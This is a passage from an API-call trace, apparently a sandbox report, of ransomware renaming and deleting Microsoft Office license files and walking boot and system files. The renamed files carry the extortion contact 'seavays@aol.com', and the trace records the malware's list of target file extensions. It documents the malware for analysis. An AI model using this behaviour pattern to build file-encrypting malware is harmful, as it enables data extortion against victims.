lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d95, lpOverlapped=0x0) returned 1 [0199.498] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2da0, lpOverlapped=0x0) returned 1 [0199.500] ReadFile (in: hFile=0x564, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0199.500] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x12e, lpOverlapped=0x0) returned 1 [0199.500] SetEndOfFile (hFile=0x510) returned 1 [0199.500] CloseHandle (hObject=0x510) returned 1 [0199.501] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.501] SetEndOfFile (hFile=0x564) returned 1 [0199.504] CloseHandle (hObject=0x564) returned 1 [0199.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0199.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0199.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0199.506] lstrlenW (lpString=".doc") returned 4 [0199.506] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.506] lstrlenW (lpString=".docx") returned 5 [0199.507] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.507] lstrlenW (lpString=".pdf") returned 4 [0199.507] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.507] lstrlenW (lpString=".xls") returned 4 [0199.507] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.507] lstrlenW (lpString=".xlsx") returned 5 [0199.507] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.507] lstrlenW (lpString=".ppt") returned 4 [0199.507] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0199.507] lstrlenW (lpString=".zip") returned 4 [0199.507] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.507] lstrlenW (lpString=".rar") returned 4 [0199.507] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.507] lstrlenW (lpString=".bz2") returned 4 [0199.507] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.507] lstrlenW (lpString=".7z") returned 3 [0199.507] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0199.507] lstrlenW (lpString=".dbf") returned 4 [0199.507] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0199.507] lstrlenW (lpString=".1cd") returned 4 [0199.507] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0199.507] lstrlenW (lpString=".jpg") returned 4 [0199.507] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.509] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.509] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0199.510] GetLastError () returned 0x0 [0199.510] ReadFile (in: hFile=0x564, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x5eee, lpOverlapped=0x0) returned 1 [0199.782] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0199.784] ReadFile (in: hFile=0x564, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0199.784] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10e, lpOverlapped=0x0) returned 1 [0199.784] SetEndOfFile (hFile=0x510) returned 1 [0199.785] CloseHandle (hObject=0x510) returned 1 [0199.785] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.785] SetEndOfFile (hFile=0x564) returned 1 [0199.790] CloseHandle (hObject=0x564) returned 1 [0199.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 1 [0200.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0200.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0200.399] lstrlenW (lpString=".doc") returned 4 [0200.400] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.400] lstrlenW (lpString=".docx") returned 5 [0200.400] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.400] lstrlenW (lpString=".pdf") returned 4 [0200.400] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.400] lstrlenW (lpString=".xls") returned 4 [0200.400] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.400] lstrlenW (lpString=".xlsx") returned 5 [0200.400] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.400] lstrlenW (lpString=".ppt") returned 4 [0200.400] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0200.400] lstrlenW (lpString=".zip") returned 4 [0200.400] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.400] lstrlenW (lpString=".rar") returned 4 [0200.400] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.400] lstrlenW (lpString=".bz2") returned 4 [0200.400] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.400] lstrlenW (lpString=".7z") returned 3 [0200.400] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0200.400] lstrlenW (lpString=".dbf") returned 4 [0200.400] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0200.400] lstrlenW (lpString=".1cd") returned 4 [0200.401] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79 [0200.401] lstrlenW (lpString=".jpg") returned 4 [0200.401] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.720] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.720] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0204.553] GetLastError () returned 0x0 [0204.553] ReadFile (in: hFile=0x2c4, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0204.558] WriteFile (in: hFile=0x494, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0204.559] ReadFile (in: hFile=0x2c4, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0204.559] WriteFile (in: hFile=0x494, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x11c, lpOverlapped=0x0) returned 1 [0204.559] SetEndOfFile (hFile=0x494) returned 1 [0204.559] CloseHandle (hObject=0x494) returned 1 [0204.559] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.559] SetEndOfFile (hFile=0x2c4) returned 1 [0204.563] CloseHandle (hObject=0x2c4) returned 1 [0204.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0204.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 1 [0204.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.566] lstrlenW (lpString=".doc") returned 4 [0204.566] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.566] lstrlenW (lpString=".docx") returned 5 [0204.567] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.567] lstrlenW (lpString=".pdf") returned 4 [0204.567] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.567] lstrlenW (lpString=".xls") returned 4 [0204.567] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.567] lstrlenW (lpString=".xlsx") returned 5 [0204.567] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.567] lstrlenW (lpString=".ppt") returned 4 [0204.567] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.567] lstrlenW (lpString=".zip") returned 4 [0204.567] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.567] lstrlenW (lpString=".rar") returned 4 [0204.567] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.567] lstrlenW (lpString=".bz2") returned 4 [0204.567] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.567] lstrlenW (lpString=".7z") returned 3 [0204.567] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.567] lstrlenW (lpString=".dbf") returned 4 [0204.567] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.567] lstrlenW (lpString=".1cd") returned 4 [0204.567] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.567] lstrlenW (lpString=".jpg") returned 4 [0204.567] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.574] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2cb8, Size=0x20) returned 0x459f6c8 [0204.574] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2d60 [0204.574] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2d60, Size=0x20) returned 0x459f8a8 [0204.575] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.575] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.575] Wow64DisableWow64FsRedirection (in: OldValue=0x3cfff50 | out: OldValue=0x3cfff50*=0x1) returned 1 [0204.575] lstrlenW (lpString="kernel32.dll") returned 12 [0204.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f8a8 | out: hHeap=0x710000) returned 1 [0204.575] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f6c8 | out: hHeap=0x710000) returned 1 Thread: id = 48 os_tid = 0xe38 [0158.647] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x37f7af8 [0158.648] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3807b00 [0158.648] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78aff0 [0158.648] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ac4d8 [0158.648] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b140 [0158.648] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x42e2020 [0158.651] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b158 [0158.651] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b158, Size=0x20) returned 0x74dcc0 [0158.651] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b158 [0158.651] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b158, Size=0x20) returned 0x74dd10 [0158.651] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0158.651] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0158.651] Wow64DisableWow64FsRedirection (in: OldValue=0x3e3ff50 | out: OldValue=0x3e3ff50*=0x0) returned 1 [0158.651] lstrlenW (lpString="kernel32.dll") returned 12 [0158.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dcc0 | out: hHeap=0x710000) returned 1 [0158.651] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0158.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dd10 | out: hHeap=0x710000) returned 1 [0158.651] Sleep (dwMilliseconds=0x64) [0159.058] Sleep (dwMilliseconds=0x64) [0159.313] lstrlenW (lpString="BCD") returned 3 [0159.313] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.314] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.314] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.314] lstrlenW (lpString=".doc") returned 4 [0159.314] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0159.314] lstrlenW (lpString=".docx") returned 5 [0159.314] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0159.314] lstrlenW (lpString=".pdf") returned 4 [0159.314] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0159.314] lstrlenW (lpString=".xls") returned 4 [0159.314] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0159.314] lstrlenW (lpString=".xlsx") returned 5 [0159.314] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0159.314] lstrlenW (lpString=".ppt") returned 4 [0159.314] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0159.314] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.314] lstrlenW (lpString=".zip") returned 4 [0159.314] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0159.314] lstrlenW (lpString=".rar") returned 4 [0159.314] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0159.314] lstrlenW (lpString=".bz2") returned 4 [0159.314] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0159.314] lstrlenW (lpString=".7z") returned 3 [0159.314] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0159.314] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.314] lstrlenW (lpString=".dbf") returned 4 [0159.315] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0159.315] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.315] lstrlenW (lpString=".1cd") returned 4 [0159.315] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0159.315] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.315] lstrlenW (lpString=".jpg") returned 4 [0159.315] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0159.315] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.315] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.315] lstrlenW (lpString=".doc") returned 4 [0159.315] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0159.315] lstrlenW (lpString=".docx") returned 5 [0159.315] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0159.315] lstrlenW (lpString=".pdf") returned 4 [0159.315] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0159.315] lstrlenW (lpString=".xls") returned 4 [0159.315] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0159.315] lstrlenW (lpString=".xlsx") returned 5 [0159.315] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0159.315] lstrlenW (lpString=".ppt") returned 4 [0159.315] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0159.315] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.315] lstrlenW (lpString=".zip") returned 4 [0159.315] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0159.315] lstrlenW (lpString=".rar") returned 4 [0159.315] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0159.315] lstrlenW (lpString=".bz2") returned 4 [0159.315] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0159.316] lstrlenW (lpString=".7z") returned 3 [0159.316] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0159.316] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.316] lstrlenW (lpString=".dbf") returned 4 [0159.316] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0159.316] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.316] lstrlenW (lpString=".1cd") returned 4 [0159.316] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0159.316] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0159.316] lstrlenW (lpString=".jpg") returned 4 [0159.316] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0159.316] lstrcmpiW (lpString1=".LOG1", lpString2=".save") returned -1 [0159.316] lstrlenW (lpString="BCD.LOG1") returned 8 [0159.316] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.486] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=0) returned 1 [0159.486] CloseHandle (hObject=0x374) returned 1 [0159.486] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.486] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.486] lstrlenW (lpString=".doc") returned 4 [0159.486] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0159.486] lstrlenW (lpString=".docx") returned 5 [0159.486] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0159.486] lstrlenW (lpString=".pdf") returned 4 [0159.486] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0159.486] lstrlenW (lpString=".xls") returned 4 [0159.486] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0159.486] lstrlenW (lpString=".xlsx") returned 5 [0159.486] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0159.486] lstrlenW (lpString=".ppt") returned 4 [0159.486] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0159.486] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.486] lstrlenW (lpString=".zip") returned 4 [0159.486] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0159.486] lstrlenW (lpString=".rar") returned 4 [0159.486] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0159.486] lstrlenW (lpString=".bz2") returned 4 [0159.486] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0159.487] lstrlenW (lpString=".7z") returned 3 [0159.487] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0159.487] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.487] lstrlenW (lpString=".dbf") returned 4 [0159.487] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0159.487] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.487] lstrlenW (lpString=".1cd") returned 4 [0159.487] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0159.487] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.487] lstrlenW (lpString=".jpg") returned 4 [0159.487] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0159.487] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.487] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.487] lstrlenW (lpString=".doc") returned 4 [0159.487] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0159.487] lstrlenW (lpString=".docx") returned 5 [0159.487] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0159.487] lstrlenW (lpString=".pdf") returned 4 [0159.487] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0159.487] lstrlenW (lpString=".xls") returned 4 [0159.487] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0159.487] lstrlenW (lpString=".xlsx") returned 5 [0159.487] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0159.487] lstrlenW (lpString=".ppt") returned 4 [0159.487] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0159.487] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.487] lstrlenW (lpString=".zip") returned 4 [0159.488] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0159.488] lstrlenW (lpString=".rar") returned 4 [0159.488] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0159.488] lstrlenW (lpString=".bz2") returned 4 [0159.488] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0159.488] lstrlenW (lpString=".7z") returned 3 [0159.488] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0159.488] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.488] lstrlenW (lpString=".dbf") returned 4 [0159.488] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0159.488] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.488] lstrlenW (lpString=".1cd") returned 4 [0159.488] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0159.488] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0159.488] lstrlenW (lpString=".jpg") returned 4 [0159.488] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0159.488] Sleep (dwMilliseconds=0x64) [0159.895] lstrcmpiW (lpString1=".sys", lpString2=".save") returned 1 [0159.895] lstrlenW (lpString="hiberfil.sys") returned 12 [0159.895] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.077] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.078] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.078] lstrlenW (lpString=".doc") returned 4 [0160.078] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0160.078] lstrlenW (lpString=".docx") returned 5 [0160.078] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0160.078] lstrlenW (lpString=".pdf") returned 4 [0160.078] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0160.078] lstrlenW (lpString=".xls") returned 4 [0160.078] lstrcmpiW (lpString1=".xls", lpString2=".sys") 